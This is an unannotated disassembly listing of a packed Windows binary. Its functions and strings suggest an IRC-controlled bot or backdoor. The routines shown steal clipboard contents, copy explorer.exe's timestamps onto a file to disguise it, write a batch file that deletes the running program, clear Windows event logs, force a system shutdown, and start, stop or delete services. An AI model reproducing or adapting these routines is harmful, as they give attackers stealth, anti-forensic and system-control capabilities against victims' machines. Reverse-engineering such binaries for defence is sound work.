mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; sub_4101FC+F4p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: sub_41528D+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_42708C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_427158 ; FormatMessageA lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DADEC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CB604 ; OpenClipboard test eax, eax jz short loc_41820D push 1 call dword_4CB624 ; GetClipboardData mov esi, eax test esi, esi jz short loc_41820D push edi push esi call dword_427160 ; GlobalLock push esi mov edi, eax call dword_42715C ; GlobalUnlock call dword_4CB688 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB640 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_42716C ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_427168 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB690 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CB690 ; SendMessageA push ebx call dword_427164 ; UnmapViewOfFile push edi call dword_427068 ; CloseHandle push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: sub_401221+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB6F0 ; SearchPathA test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_427174 ; GetFileTime push ebx mov ebx, dword_427068 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_427170 ; SetFileTime push esi call ebx ; CloseHandle loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CB574 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; sub_4163F9+472p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB704, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call dword_4270B0 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4270EC ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4270E0 ; WriteFile push edi call dword_427068 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43D7E8 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_42709C ; GetModuleHandleA push eax call dword_427070 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax call dword_427094 ; SetFileAttributesA loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_427178 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_42706C ; CreateProcessA loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270C8 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB5B4 ; OpenEventLogA push edi push eax call dword_4CB5C4 ; ClearEventLogA test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_439048 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_439020 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438FF0 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270C8 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_4270B8 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call dword_4270BC ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call dword_427138 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; sub_40E6D8+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439070[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_43906C[esi] push offset unk_439180 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB6B0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_439154 jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB6B0 push off_439068[eax*4] push offset unk_439130 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB628 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418762 call dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB510 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418782 call dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB57C ; ControlService jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB518 ; StartServiceA jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CB580 ; DeleteService loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call dword_42708C ; RtlGetLastWin32Error mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CB52C ; CloseServiceHandle loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CB52C ; CloseServiceHandle pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: .packed:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: .packed:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DAFF0 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DAFF0 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DAFF0 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB628 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB5F4 ; EnumServicesStatusA test eax, eax jnz short loc_4189CD call dword_42708C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi 